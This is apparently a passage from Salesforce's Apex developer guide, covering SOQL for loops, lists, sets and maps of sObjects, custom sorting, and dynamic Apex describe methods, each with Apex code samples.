SOQL statements can use the ALL ROWS keywords to query all records in an organization, including deleted records and archived activities. For example:
System.assertEquals(2, [SELECT COUNT() FROM Contact WHERE AccountId = a.Id ALL ROWS]);

You can use ALL ROWS to query records in your organization's Recycle Bin. You cannot use the ALL ROWS keywords with the FOR UPDATE keywords.

SOQL For Loops

SOQL for loops iterate over all of the sObject records returned by a SOQL query. The syntax of a SOQL for loop is either:
for (variable : [soql_query]) { code_block }

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or
for (variable_list : [soql_query]) { code_block }

Both variable and variable_list must be of the same type as the sObjects that are returned by the soql_query. As in standard SOQL queries, the [soql_query] statement can refer to code expressions in their WHERE clauses using the : syntax. For example:
String s = 'Acme'; for (Account a : [SELECT Id, Name from Account where Name LIKE :(s+'%')]) { // Your code }

The following example combines creating a list from a SOQL query, with the DML update method.
// Create a list of account records from a SOQL query List<Account> accs = [SELECT Id, Name FROM Account WHERE Name = 'Siebel']; // Loop through the list and update the Name field for(Account a : accs){ a.Name = 'Oracle'; } // Update the database update accs;

SOQL For Loops Versus Standard SOQL Queries

SOQL for loops differ from standard SOQL statements because of the method they use to retrieve sObjects. While the standard queries discussed in SOQL and SOSL Queries can retrieve either the count of a query or a number of object records, SOQL for loops retrieve all sObjects, using efficient chunking with calls to the query and queryMore methods of the SOAP API. Developers should always use a SOQL for loop to process query results that return many records, to avoid the limit on heap size. Note that queries including an aggregate function don't support queryMore. A runtime exception occurs if you use a query containing an aggregate function that returns more than 2000 rows in a for loop.

SOQL For Loop Formats

SOQL for loops can process records one at a time using a single sObject variable, or in batches of 200 sObjects at a time using an sObject list: The single sObject format executes the for loop's <code_block> once per sObject record. Consequently, it is easy to understand and use, but is grossly inefficient if you want to use data manipulation language (DML) statements within the for loop body. Each DML statement ends up processing only one sObject at a time. The sObject list format executes the for loop's <code_block> once per list of 200 sObjects. Consequently, it is a little more difficult to understand and use, but is the optimal choice if you need to use DML statements within the for loop body. Each DML statement can bulk process a list of sObjects at a time.

For example, the following code illustrates the difference between the two types of SOQL query for loops:
// Create a savepoint because the data should not be committed to the database Savepoint sp = Database.setSavepoint();

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insert new Account[]{new Account(Name = 'yyy'), new Account(Name = 'yyy'), new Account(Name = 'yyy')}; // The single sObject format executes the for loop once per returned record Integer i = 0; for (Account tmp : [SELECT Id FROM Account WHERE Name = 'yyy']) { i++; } System.assert(i == 3); // Since there were three accounts named 'yyy' in the // database, the loop executed three times // The sObject list format executes the for loop once per returned batch // of records i = 0; Integer j; for (Account[] tmp : [SELECT Id FROM Account WHERE Name = 'yyy']) { j = tmp.size(); i++; } System.assert(j == 3); // The list should have contained the three accounts // named 'yyy' System.assert(i == 1); // Since a single batch can hold up to 100 records and, // only three records should have been returned, the // loop should have executed only once // Revert the database to the original state Database.rollback(sp);

Note: The break and continue keywords can be used in both types of inline query for loop formats. When using the sObject list format, continue skips to the next list of sObjects. DML statements can only process up to 10,000 records at a time, and sObject list for loops process records in batches of 200. Consequently, if you are inserting, updating, or deleting more than one record per returned record in an sObject list for loop, it is possible to encounter runtime limit errors. See Understanding Execution Governors and Limits on page 240. You might get a QueryException in a SOQL for loop with the message Aggregate query has too many rows for direct assignment, use FOR loop. This exception is sometimes thrown when accessing a large set of child records of a retrieved sObject inside the loop, or when getting the size of such a record set. To avoid getting this exception, use a for loop to iterate over the child records, as follows.
Integer count=0; for (Contact c : returnedAccount.Contacts) { count++; // Do some other processing }

sObject Collections
Lists of sObjects
Lists can contain sObjects among other types of elements. Lists of sObjects can be used for bulk processing of data.

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Lists of sObjects

You can use a list to store sObjects. Lists are useful when working with SOQL queries. SOQL queries return sObject data and this data can be stored in a list of sObjects. Also, you can use lists to perform bulk operations, such as inserting a list of sObjects with one call. To declare a list of sObjects, use the List keyword followed by the sObject type within <> characters. For example:
// Create an empty list of Accounts List<Account> myList = new List<Account>();

Auto-populating a List from a SOQL Query You can assign a List variable directly to the results of a SOQL query. The SOQL query returns a new list populated with the records returned. Make sure the declared List variable contains the same sObject that is being queried. Or you can use the generic sObject data type. This example shows how to declare and assign a list of accounts to the return value of a SOQL query. The query returns up to 1,000 returns account records containing the Id and Name fields.
// Create a list of account records from a SOQL query List<Account> accts = [SELECT Id, Name FROM Account LIMIT 1000];

Adding and Retrieving List Elements As with lists of primitive data types, you can access and set elements of sObject lists using the List methods provided by Apex. For example:
List<Account> myList = new List<Account>(); // Define a new list Account a = new Account(Name='Acme'); // Create the account first myList.add(a); // Add the account sObject Account a2 = myList.get(0); // Retrieve the element at index 0

Bulk Processing You can bulk-process a list of sObjects by passing a list to the DML operation. This example shows how you can insert a list of accounts.
// Define the list List<Account> acctList = new List<Account>(); // Create account sObjects Account a1 = new Acount(Name='Account1'); Account a2 = new Acount(Name='Account2'); // Add accounts to the list acctList.add(a1); acctList.add(a2); // Bulk insert the list insert acctList;

Record ID Generation Apex automatically generates IDs for each object in a list of sObjects when the list is successfully inserted or upserted into the database with a data manipulation language (DML) statement. Consequently, a list of sObjects cannot be inserted or upserted if it contains the same sObject more than once, even if it has a null ID. This situation would imply that two IDs would need to be written to the same structure in memory, which is illegal. For example, the insert statement in the following block of code generates a ListException because it tries to insert a list with two references to the same sObject (a):
try { // Create a list with two references to the same sObject element Account a = new Account(); List<Account> accs = new List<Account>{a, a};

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// Attempt to insert it... insert accs; // Will not get here System.assert(false); } catch (ListException e) { // But will get here }

Using Array Notation for One-Dimensional Lists of sObjects Alternatively, you can use the array notation (square brackets) to declare and reference lists of sObjects. For example, this declares a list of accounts using the array notation.
Account[] accts = new Account[1];

This example adds an element to the list using square brackets.

accts[0] = new Account(Name='Acme2');

These are some additional examples of using the array notation with sObject lists. Example
List<Account> accts = new Account[]{};

Description Defines an Account list with no elements. Defines an Account list with memory allocated for three Accounts, including a new Account object in the first position, null in the second position, and another new Account object in the third position. Defines the Contact list with a new list.

List<Account> accts = new Account[] {new Account(), null, new Account()};

List<Contact> contacts = new List<Contact> (otherList);

Sorting Lists of sObjects

Using the List.sort method, you can sort lists sObjects. For sObjects, sorting is in ascending order and uses a sequence of comparison steps outlined in the next section. Alternatively, you can also implement a custom sort order for sObjects by wrapping your sObject in an Apex class and implementing the Comparable interface, as shown in Custom Sort Order of sObjects. Default Sort Order of sObjects The List.sort method sorts sObjects in ascending order and compares sObjects using an ordered sequence of steps that specify the labels or fields used. The comparison starts with the first step in the sequence and ends when two sObjects are sorted using specified labels or fields. The following is the comparison sequence used: 1. The label of the sObject type. For example, an Account sObject will appear before a Contact. 2. The Name field, if applicable. For example, if the list contains two accounts named A and B respectively, account A comes before account B. 143

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3. Standard fields, starting with the fields that come first in alphabetical order, except for the Id and Name fields. For example, if two accounts have the same name, the first standard field used for sorting is AccountNumber. 4. Custom fields, starting with the fields that come first in alphabetical order. For example, suppose two accounts have the same name and identical standard fields, and there are two custom fields, FieldA and FieldB, the value of FieldA is used first for sorting. Not all steps in this sequence are necessarily carried out. For example, if a list contains two sObjects of the same type and with unique Name values, theyre sorted based on the Name field and sorting stops at step 2. Otherwise, if the names are identical or the sObject doesnt have a Name field, sorting proceeds to step 3 to sort by standard fields. For text fields, the sort algorithm uses the Unicode sort order. Also, empty fields precede non-empty fields in the sort order. This is an example of sorting a list of Account sObjects. This example shows how the Name field is used to place the Acme account ahead of the two sForce accounts in the list. Since there are two accounts named sForce, the Industry field is used to sort these remaining accounts because the Industry field comes before the Site field in alphabetical order.
Account[] acctList = new List<Account>(); acctList.add( new Account( Name='sForce', Industry='Biotechnology', Site='Austin')); acctList.add(new Account( Name='sForce', Industry='Agriculture', Site='New York')); acctList.add(new Account( Name='Acme')); System.debug(acctList); acctList.sort(); System.assertEquals('Acme', acctList[0].Name); System.assertEquals('sForce', acctList[1].Name); System.assertEquals('Agriculture', acctList[1].Industry); System.assertEquals('sForce', acctList[2].Name); System.assertEquals('Biotechnology', acctList[2].Industry); System.debug(acctList);

This example is similar to the previous one, except that it uses the Merchandise__c custom object. This example shows how the Name field is used to place the Notebooks merchandise ahead of Pens in the list. Since there are two merchandise sObjects with the Name field value of Pens, the Description field is used to sort these remaining merchandise items because the Description field comes before the Price and Total_Inventory fields in alphabetical order.
Merchandise__c[] merchList = new List<Merchandise__c>(); merchList.add( new Merchandise__c( Name='Pens', Description__c='Red pens', Price__c=2, Total_Inventory__c=1000)); merchList.add( new Merchandise__c( Name='Notebooks', Description__c='Cool notebooks', Price__c=3.50, Total_Inventory__c=2000)); merchList.add( new Merchandise__c( Name='Pens', Description__c='Blue pens', Price__c=1.75, Total_Inventory__c=800)); System.debug(merchList); merchList.sort(); System.assertEquals('Notebooks', merchList[0].Name); System.assertEquals('Pens', merchList[1].Name); System.assertEquals('Blue pens', merchList[1].Description__c);

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System.assertEquals('Pens', merchList[2].Name); System.assertEquals('Red pens', merchList[2].Description__c); System.debug(merchList);

Custom Sort Order of sObjects To implement a custom sort order for sObjects in lists, create a wrapper class for the sObject and implement the Comparable interface. The wrapper class contains the sObject in question and implements the compareTo method, in which you specify the sort logic. This example shows how to create a wrapper class for Opportunity. The implementation of the compareTo method in this class compares two opportunities based on the Amount fieldthe class member variable contained in this instance, and the opportunity object passed into the method.
global class OpportunityWrapper implements Comparable { public Opportunity oppy; // Constructor public OpportunityWrapper(Opportunity op) { oppy = op; } // Compare opportunities based on the opportunity amount. global Integer compareTo(Object compareTo) { // Cast argument to OpportunityWrapper OpportunityWrapper compareToOppy = (OpportunityWrapper)compareTo; // The return value of 0 indicates that both elements are equal. Integer returnValue = 0; if (oppy.Amount > compareToOppy.oppy.Amount) { // Set return value to a positive value. returnValue = 1; } else if (oppy.Amount < compareToOppy.oppy.Amount) { // Set return value to a negative value. returnValue = -1; } return returnValue; } }

This example provides a test for the OpportunityWrapper class. It sorts a list of OpportunityWrapper objects and verifies that the list elements are sorted by the opportunity amount.
@isTest private class OpportunityWrapperTest { static testmethod void test1() { // Add the opportunity wrapper objects to a list. OpportunityWrapper[] oppyList = new List<OpportunityWrapper>(); Date closeDate = Date.today().addDays(10); oppyList.add( new OpportunityWrapper(new Opportunity( Name='Edge Installation', CloseDate=closeDate, StageName='Prospecting', Amount=50000))); oppyList.add( new OpportunityWrapper(new Opportunity( Name='United Oil Installations', CloseDate=closeDate, StageName='Needs Analysis', Amount=100000))); oppyList.add( new OpportunityWrapper(new Opportunity( Name='Grand Hotels SLA', CloseDate=closeDate, StageName='Prospecting', Amount=25000)));

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Expanding sObject and List Expressions

// Sort the wrapper objects using the implementation of the // compareTo method. oppyList.sort(); // Verify the sort order System.assertEquals('Grand Hotels SLA', oppyList[0].oppy.Name); System.assertEquals(25000, oppyList[0].oppy.Amount); System.assertEquals('Edge Installation', oppyList[1].oppy.Name); System.assertEquals(50000, oppyList[1].oppy.Amount); System.assertEquals('United Oil Installations', oppyList[2].oppy.Name); System.assertEquals(100000, oppyList[2].oppy.Amount); // Write the sorted list contents to the debug log. System.debug(oppyList); } }

Expanding sObject and List Expressions

As in Java, sObject and list expressions can be expanded with method references and list expressions, respectively, to form new expressions. In the following example, a new variable containing the length of the new account name is assigned to acctNameLength.
Integer acctNameLength = new Account[]{new Account(Name='Acme')}[0].Name.length();

In the above, new Account[] generates a list. The list is populated with one element by the new statement {new Account(name='Acme')}. Item 0, the first item in the list, is then accessed by the next part of the string [0]. The name of the sObject in the list is accessed, followed by the method returning the length name.length(). In the following example, a name that has been shifted to lower case is returned. The SOQL statement returns a list of which the first element (at index 0) is accessed through [0]. Next, the Name field is accessed and converted to lowercase with this expression .Name.toLowerCase().
String nameChange = [SELECT Name FROM Account][0].Name.toLowerCase();

Sets of Objects
Sets can contain sObjects among other types of elements. Sets contain unique elements. Uniqueness of sObjects is determined by comparing the objects fields. For example, if you try to add two accounts with the same name to a set, with no other fields set, only one sObject is added to the set.
// Create two accounts, a1 and a2 Account a1 = new account(name='MyAccount'); Account a2 = new account(name='MyAccount'); // Add both accounts to the new set Set<Account> accountSet = new Set<Account>{a1, a2}; // Verify that the set only contains one item System.assertEquals(accountSet.size(), 1);

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If you add a description to one of the accounts, it is considered unique and both accounts are added to the set.
// Create two accounts, a1 and a2, and add a description to a2 Account a1 = new account(name='MyAccount'); Account a2 = new account(name='MyAccount', description='My test account'); // Add both accounts to the new set Set<Account> accountSet = new Set<Account>{a1, a2}; // Verify that the set contains two items System.assertEquals(accountSet.size(), 2);

Warning: If set elements are objects, and these objects change after being added to the collection, they wont be found anymore when using, for example, the contains or containsAll methods, because of changed field values.

Maps of sObjects
Map keys and values can be of any data type, including sObject types, such as Account. Maps can hold sObjects both in their keys and values. A map key represents a unique value that maps to a map value. For example, a common key would be an ID that maps to an account (a specific sObject type). This example shows how to define a map whose keys are of type ID and whose values are of type Account.
Map<ID, Account> m = new Map<ID, Account>();

As with primitive types, you can populate map key-value pairs when the map is declared by using curly brace ({}) syntax. Within the curly braces, specify the key first, then specify the value for that key using =>. This example creates a map of integers to accounts lists and adds one entry using the account list created earlier.
Account[] accs = new Account[5]; // Account[] is synonymous with List<Account> Map<Integer, List<Account>> m4 = new Map<Integer, List<Account>>{1 => accs};

Maps allow sObjects in their keys. You should use sObjects in the keys only when the sObject field values wont change. Auto-Populating Map Entries from a SOQL Query When working with SOQL queries, maps can be populated from the results returned by the SOQL query. The map key should be declared with an ID or String data type, and the map value should be declared as an sObject data type. This example shows how to populate a new map from a query. In the example, the SOQL query returns a list of accounts with their Id and Name fields. The new operator uses the returned list of accounts to create a map.
// Populate map from SOQL query Map<ID, Account> m = new Map<ID, Account>([SELECT Id, Name FROM Account LIMIT 10]); // After populating the map, iterate through the map entries for (ID idKey : m.keyset()) { Account a = m.get(idKey); System.debug(a); }

One common usage of this map type is for in-memory joins between two tables. Using Map Methods The Map class exposes various methods that you can use to work with map elements, such as adding, removing, or retrieving elements. This example uses Map methods to add new elements and retrieve existing elements from the map. This example

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also checks for the existence of a key and gets the set of all keys. The map in this example has one element with an integer key and an account value.
Account myAcct = new Account(); //Define a new account Map<Integer, Account> m = new Map<Integer, Account>(); // Define a new map m.put(1, myAcct); // Insert a new key-value pair in the map System.assert(!m.containsKey(3)); // Assert that the map contains a key Account a = m.get(1); // Retrieve a value, given a particular key Set<Integer> s = m.keySet(); // Return a set that contains all of the keys in the map

sObject Map Considerations

Be cautious when using sObjects as map keys. Key matching for sObjects is based on the comparison of all sObject field values. If one or more field values change after adding an sObject to the map, attempting to retrieve this sObject from the map returns null. This is because the modified sObject isnt found in the map due to different field values. This can occur if you explicitly change a field on the sObject, or if the sObject fields are implicitly changed by the system; for example, after inserting an sObject, the sObject variable has the ID field autofilled. Attempting to fetch this Object from a map to which it was added before the insert operation wont yield the map entry, as shown in this example.
// Create an account and add it to the map Account a1 = new Account(Name='A1'); Map<sObject, Integer> m = new Map<sObject, Integer>{ a1 => 1}; // Get a1's value from the map. // Returns the value of 1. System.assertEquals(1, m.get(a1)); // Id field is null. System.assertEquals(null, a1.Id); // Insert a1. // This causes the ID field on a1 to be auto-filled insert a1; // Id field is now populated. System.assertNotEquals(null, a1.Id); // Get a1's value from the map again. // Returns null because Map.get(sObject) doesn't find // the entry based on the sObject with an auto-filled ID. // This is because when a1 was originally added to the map // before the insert operation, the ID of a1 was null. System.assertEquals(null, m.get(a1));

Another scenario where sObject fields are autofilled is in triggers, for example, when using before and after insert triggers for an sObject. If those triggers share a static map defined in a class, and the sObjects in Trigger.New are added to this map in the before trigger, the sObjects in Trigger.New in the after trigger arent found in the map because the two sets of sObjects differ by the fields that are autofilled. The sObjects in Trigger.New in the after trigger have system fields populated after insertion, namely: ID, CreatedDate, CreatedById, LastModifiedDate, LastModifiedById, and SystemModStamp.

Dynamic Apex
Dynamic Apex enables developers to create more flexible applications by providing them with the ability to: Access sObject and field describe information Describe information provides metadata information about sObject and field properties. For example, the describe information for an sObject includes whether that type of sObject supports operations like create or undelete, the sObject's name and label, the sObject's fields and child objects, and so on. The describe information for a field includes whether the field has a default value, whether it is a calculated field, the type of the field, and so on.

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Understanding Apex Describe Information

Note that describe information provides information about objects in an organization, not individual records. Access Salesforce app information You can obtain describe information for standard and custom apps available in the Salesforce user interface. Each app corresponds to a collection of tabs. Describe information for an app includes the apps label, namespace, and tabs. Describe information for a tab includes the sObject associated with the tab, tab icons and colors. Write dynamic SOQL queries, dynamic SOSL queries and dynamic DML Dynamic SOQL and SOSL queries provide the ability to execute SOQL or SOSL as a string at runtime, while dynamic DML provides the ability to create a record dynamically and then insert it into the database using DML. Using dynamic SOQL, SOSL, and DML, an application can be tailored precisely to the organization as well as the user's permissions. This can be useful for applications that are installed from Force.com AppExchange.

Understanding Apex Describe Information

You can describe sObjects either by using tokens or the describeSObjects Schema method. Apex provides two data structures and a method for sObject and field describe information: Tokena lightweight, serializable reference to an sObject or a field that is validated at compile time. This is used for token describes. The describeSObjects methoda method in the Schema class that performs describes on one or more sObject types. Describe resultan object of type Schema.DescribeSObjectResult that contains all the describe properties for the sObject or field. Describe result objects are not serializable, and are validated at runtime. This result object is returned when performing the describe, using either the sObject token or the describeSObjects method.

Describing sObjects Using Tokens It is easy to move from a token to its describe result, and vice versa. Both sObject and field tokens have the method getDescribe which returns the describe result for that token. On the describe result, the getSObjectType and getSObjectField methods return the tokens for sObject and field, respectively. Because tokens are lightweight, using them can make your code faster and more efficient. For example, use the token version of an sObject or field when you are determining the type of an sObject or field that your code needs to use. The token can be compared using the equality operator (==) to determine whether an sObject is the Account object, for example, or whether a field is the Name field or a custom calculated field. The following code provides a general example of how to use tokens and describe results to access information about sObject and field properties:
// Create a new account as the generic type sObject sObject s = new Account(); // Verify that the generic sObject is an Account sObject System.assert(s.getsObjectType() == Account.sObjectType); // Get the sObject describe result for the Account object Schema.DescribeSObjectResult r = Account.sObjectType.getDescribe(); // Get the field describe result for the Name field on the Account object Schema.DescribeFieldResult f = Schema.sObjectType.Account.fields.Name; // Verify that the field token is the token for the Name field on an Account object System.assert(f.getSObjectField() == Account.Name); // Get the field describe result from the token f = f.getSObjectField().getDescribe();

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Understanding Apex Describe Information

The following algorithm shows how you can work with describe information in Apex: 1. 2. 3. 4. 5. Generate a list or map of tokens for the sObjects in your organization (see Accessing All sObjects.) Determine the sObject you need to access. Generate the describe result for the sObject. If necessary, generate a map of field tokens for the sObject (see Accessing All Field Describe Results for an sObject.) Generate the describe result for the field the code needs to access.

Using sObject Tokens SObjects, such as Account and MyCustomObject__c, act as static classes with special static methods and member variables for accessing token and describe result information. You must explicitly reference an sObject and field name at compile time to gain access to the describe result. To access the token for an sObject, use one of the following methods: Access the sObjectType member variable on an sObject type, such as Account. Call the getSObjectType method on an sObject describe result, an sObject variable, a list, or a map.

Schema.SObjectType is the data type for an sObject token.

In the following example, the token for the Account sObject is returned:
Schema.sObjectType t = Account.sObjectType;

The following also returns a token for the Account sObject:

Account A = new Account(); Schema.sObjectType T = A.getSObjectType();

This example can be used to determine whether an sObject or a list of sObjects is of a particular type:
public class sObjectTest { { // Create a generic sObject variable s SObject s = Database.query('SELECT Id FROM Account LIMIT 1'); // Verify if that sObject variable is an Account token System.assertEquals(s.getSObjectType(), Account.sObjectType); // Create a list of generic sObjects List<sObject> l = new Account[]{}; // Verify if the list of sObjects contains Account tokens System.assertEquals(l.getSObjectType(), Account.sObjectType); } }

Some standard sObjects have a field called sObjectType, for example, AssignmentRule, QueueSObject, and RecordType. For these types of sObjects, always use the getSObjectType method for retrieving the token. If you use the property, for example, RecordType.sObjectType, the field is returned. Obtaining sObject Describe Results Using Tokens To access the describe result for an sObject, use one of the following methods: Call the getDescribe method on an sObject token. Use the Schema sObjectType static variable with the name of the sObject. For example, Schema.sObjectType.Lead.

Schema.DescribeSObjectResult is the data type for an sObject describe result.

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The following example uses the getDescribe method on an sObject token:

Schema.DescribeSObjectResult D = Account.sObjectType.getDescribe();

The following example uses the Schema sObjectType static member variable:
Schema.DescribeSObjectResult D = Schema.SObjectType.Account;

For more information about the methods available with the sObject describe result, see DescribeSObjectResult Class.

Using Field Tokens

To access the token for a field, use one of the following methods: Access the static member variable name of an sObject static type, for example, Account.Name. Call the getSObjectField method on a field describe result.

The field token uses the data type Schema.SObjectField. In the following example, the field token is returned for the Account object's AccountNumber field:
Schema.SObjectField F = Account.AccountNumber;

In the following example, the field token is returned from the field describe result:
// Get the describe result for the Name field on the Account object Schema.DescribeFieldResult f = Schema.sObjectType.Account.fields.Name; // Verify that the field token is the token for the Name field on an Account object System.assert(f.getSObjectField() == Account.Name); // Get the describe result from the token f = f.getSObjectField().getDescribe();

Using Field Describe Results To access the describe result for a field, use one of the following methods: Call the getDescribe method on a field token. Access the fields member variable of an sObject token with a field member variable (such as Name, BillingCity, and so on.)

The field describe result uses the data type Schema.DescribeFieldResult. The following example uses the getDescribe method:
Schema.DescribeFieldResult F = Account.AccountNumber.getDescribe();

This example uses the fields member variable method:

Schema.DescribeFieldResult F = Schema.SObjectType.Account.fields.Name;

In the example above, the system uses special parsing to validate that the final member variable (Name) is valid for the specified sObject at compile time. When the parser finds the fields member variable, it looks backwards to find the name of the sObject (Account) and validates that the field name following the fields member variable is legitimate. The fields member variable only works when used in this manner. You can only have 100 fields member variable statements in an Apex class or trigger.

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Understanding Describe Information Permissions

Note: You should not use the fields member variable without also using either a field member variable name or the getMap method. For more information on getMap, see the next section. For more information about the methods available with a field describe result, see DescribeFieldResult Class. Accessing All Field Describe Results for an sObject Use the field describe result's getMap method to return a map that represents the relationship between all the field names (keys) and the field tokens (values) for an sObject. The following example generates a map that can be used to access a field by name:
Map<String, Schema.SObjectField> M = Schema.SObjectType.Account.fields.getMap();

Note: The value type of this map is not a field describe result. Using the describe results would take too many system resources. Instead, it is a map of tokens that you can use to find the appropriate field. After you determine the field, generate the describe result for it. The map has the following characteristics: It is dynamic, that is, it is generated at runtime on the fields for that sObject. All field names are case insensitive. The keys use namespaces as required. The keys reflect whether the field is a custom object.

For example, if the code block that generates the map is in namespace N1, and a field is also in N1, the key in the map is represented as MyField__c. However, if the code block is in namespace N1, and the field is in namespace N2, the key is N2__MyField__c. In addition, standard fields have no namespace prefix. Note: A field describe executed from within an installed managed package returns Chatter fields even if Chatter is not enabled in the installing organization. This is not true if the field describe is executed from a class not within an installed managed package.

Understanding Describe Information Permissions

Apex generally runs in system mode. All classes and triggers that are not included in a package, that is, are native to your organization, have no restrictions on the sObjects that they can look up dynamically. This means that with native code, you can generate a map of all the sObjects for your organization, regardless of the current user's permission. Dynamic Apex, contained in managed packages created by salesforce.com ISV partners that are installed from Force.com AppExchange, have restricted access to any sObject outside the managed package. Partners can set the API Access value within the package to grant access to standard sObjects not included as part of the managed package. While Partners can request access to standard objects, custom objects are not included as part of the managed package and can never be referenced or accessed by dynamic Apex that is packaged. For more information, see About API and Dynamic Apex Access in Packages in the Salesforce online help.

Describing sObjects Using Schema Method

As an alternative to using tokens, you can describe sObjects by calling the describeSObjects Schema method and passing one or more sObject type names for the sObjects you want to describe. Using this method, you can describe up to 100 sObjects.

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Describing Tabs Using Schema Methods

This example gets describe metadata information for two sObject typesThe Account standard object and the Merchandise__c custom object. After obtaining the describe result for each sObject, this example writes the returned information to the debug output, such as the sObject label, number of fields, whether it is a custom object or not, and the number of child relationships.
// sObject types to describe String[] types = new String[]{'Account','Merchandise__c'}; // Make the describe call Schema.DescribeSobjectResult[] results = Schema.describeSObjects(types); System.debug('Got describe information for ' + results.size() + ' sObjects.'); // For each returned result, get some info for(Schema.DescribeSobjectResult res : results) { System.debug('sObject Label: ' + res.getLabel()); System.debug('Number of fields: ' + res.fields.getMap().size()); System.debug(res.isCustom() ? 'This is a custom object.' : 'This is a standard object.'); // Get child relationships Schema.ChildRelationship[] rels = res.getChildRelationships(); if (rels.size() > 0) { System.debug(res.getName() + ' has ' + rels.size() + ' child relationships.'); } }

Describing Tabs Using Schema Methods

You can get metadata information about the apps and their tabs available in the Salesforce user interface by executing a describe call in Apex. Also, you can get more detailed information about each tab. The methods that let you perform this are the describeTabs Schema method and the getTabs method in Schema.DescribeTabResult, respectively. This example shows how to get the tab sets for each app. The example then obtains tab describe metadata information for the Sales app. For each tab, metadata information includes the icon URL, whether the tab is custom or not, and colors among others. The tab describe information is written to the debug output.
// Get tab set describes for each app List<Schema.DescribeTabSetResult> tabSetDesc = Schema.describeTabs(); // Iterate through each tab set describe for each app and display the info for(DescribeTabSetResult tsr : tabSetDesc) { String appLabel = tsr.getLabel(); System.debug('Label: ' + appLabel); System.debug('Logo URL: ' + tsr.getLogoUrl()); System.debug('isSelected: ' + tsr.isSelected()); String ns = tsr.getNamespace(); if (ns == '') { System.debug('The ' + appLabel + ' app has no namespace defined.'); } else { System.debug('Namespace: ' + ns); } // Display tab info for the Sales app if (appLabel == 'Sales') { List<Schema.DescribeTabResult> tabDesc = tsr.getTabs(); System.debug('-- Tab information for the Sales app --'); for(Schema.DescribeTabResult tr : tabDesc) { System.debug('getLabel: ' + tr.getLabel()); System.debug('getColors: ' + tr.getColors()); System.debug('getIconUrl: ' + tr.getIconUrl()); System.debug('getIcons: ' + tr.getIcons()); System.debug('getMiniIconUrl: ' + tr.getMiniIconUrl()); System.debug('getSobjectName: ' + tr.getSobjectName()); System.debug('getUrl: ' + tr.getUrl());

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System.debug('isCustom: ' + tr.isCustom()); } } } // Example debug statement output // DEBUG|Label: Sales // DEBUG|Logo URL: https://na1.salesforce.com/img/seasonLogos/2014_winter_aloha.png // DEBUG|isSelected: true // DEBUG|The Sales app has no namespace defined.// DEBUG|-- Tab information for the Sales app -// (This is an example debug output for the Accounts tab.) // DEBUG|getLabel: Accounts // DEBUG|getColors: (Schema.DescribeColorResult[getColor=236FBD;getContext=primary;getTheme=theme4;], // Schema.DescribeColorResult[getColor=236FBD;getContext=primary;getTheme=theme3;], // Schema.DescribeColorResult[getColor=236FBD;getContext=primary;getTheme=theme2;]) // DEBUG|getIconUrl: https://na1.salesforce.com/img/icon/accounts32.png // DEBUG|getIcons: (Schema.DescribeIconResult[getContentType=image/png;getHeight=32;getTheme=theme3; // getUrl=https://na1.salesforce.com/img/icon/accounts32.png;getWidth=32;], // Schema.DescribeIconResult[getContentType=image/png;getHeight=16;getTheme=theme3; // getUrl=https://na1.salesforce.com/img/icon/accounts16.png;getWidth=16;]) // DEBUG|getMiniIconUrl: https://na1.salesforce.com/img/icon/accounts16.png // DEBUG|getSobjectName: Account // DEBUG|getUrl: https://na1.salesforce.com/001/o // DEBUG|isCustom: false

Accessing All sObjects

Use the Schema getGlobalDescribe method to return a map that represents the relationship between all sObject names (keys) to sObject tokens (values). For example:
Map<String, Schema.SObjectType> gd = Schema.getGlobalDescribe();

The map has the following characteristics:

*

It is dynamic, that is, it is generated at runtime on the sObjects currently available for the organization, based on permissions. The sObject names are case insensitive. The keys are prefixed with the namespace, if any.* The keys reflect whether the sObject is a custom object.

Starting with Apex saved using Salesforce.com API version 28.0, the keys in the map that getGlobalDescribe returns are always prefixed with the namespace, if any, of the code in which it is running. For example, if the code block that makes the getGlobalDescribe call is in namespace NS1, and a custom object named MyObject__c is in the same namespace, the key returned is NS1__MyObject__c. For Apex saved using earlier API versions, the key contains the namespace only if the namespace of the code block and the namespace of the sObject are different. For example, if the code block that generates the map is in namespace N1, and an sObject is also in N1, the key in the map is represented as MyObject__c. However, if the code block is in namespace N1, and the sObject is in namespace N2, the key is N2__MyObject__c. Standard sObjects have no namespace prefix. Note: If the getGlobalDescribe method is called from an installed managed package, it returns sObject names and tokens for Chatter sObjects, such as NewsFeed and UserProfileFeed, even if Chatter is not enabled in the installing organization. This is not true if the getGlobalDescribe method is called from a class not within an installed managed package.

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Accessing All Data Categories Associated with an sObject

Accessing All Data Categories Associated with an sObject

Use the describeDataCategoryGroups and describeDataCategoryGroupStructures methods to return the categories associated with a specific object: 1. Return all the category groups associated with the objects of your choice (see describeDataCategoryGroups(List<String>)). 2. From the returned map, get the category group name and sObject name you want to further interrogate (see Describe DataCategoryGroupResult Class). 3. Specify the category group and associated object, then retrieve the categories available to this object (see describeDataCategoryGroupStructures). The describeDataCategoryGroupStructures method returns the categories available for the object in the category group you specified. For additional information about data categories, see What are Data Categories? in the Salesforce online help. In the following example, the describeDataCategoryGroupSample method returns all the category groups associated with the Article and Question objects. The describeDataCategoryGroupStructures method returns all the categories available for articles and questions in the Regions category group. For additional information about articles and questions, see Managing Articles and Translations and Answers Overview in the Salesforce online help. To use the following example, you must: Enable Salesforce Knowledge. Enable the answers feature. Create a data category group called Regions. Assign Regions as the data category group to be used by Answers. Make sure the Regions data category group is assigned to Salesforce Knowledge.

For more information on creating data category groups, see Creating and Modifying Category Groups in the Salesforce online help. For more information on answers, see Answers Overview in the Salesforce online help.

public class DescribeDataCategoryGroupSample { public static List<DescribeDataCategoryGroupResult> describeDataCategoryGroupSample(){ List<DescribeDataCategoryGroupResult> describeCategoryResult; try { //Creating the list of sobjects to use for the describe //call List<String> objType = new List<String>(); objType.add('KnowledgeArticleVersion'); objType.add('Question'); //Describe Call describeCategoryResult = Schema.describeDataCategoryGroups(objType); //Using the results and retrieving the information for(DescribeDataCategoryGroupResult singleResult : describeCategoryResult){ //Getting the name of the category singleResult.getName(); //Getting the name of label singleResult.getLabel(); //Getting description singleResult.getDescription(); //Getting the sobject singleResult.getSobject(); }

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} catch(Exception e){ } return describeCategoryResult; } }

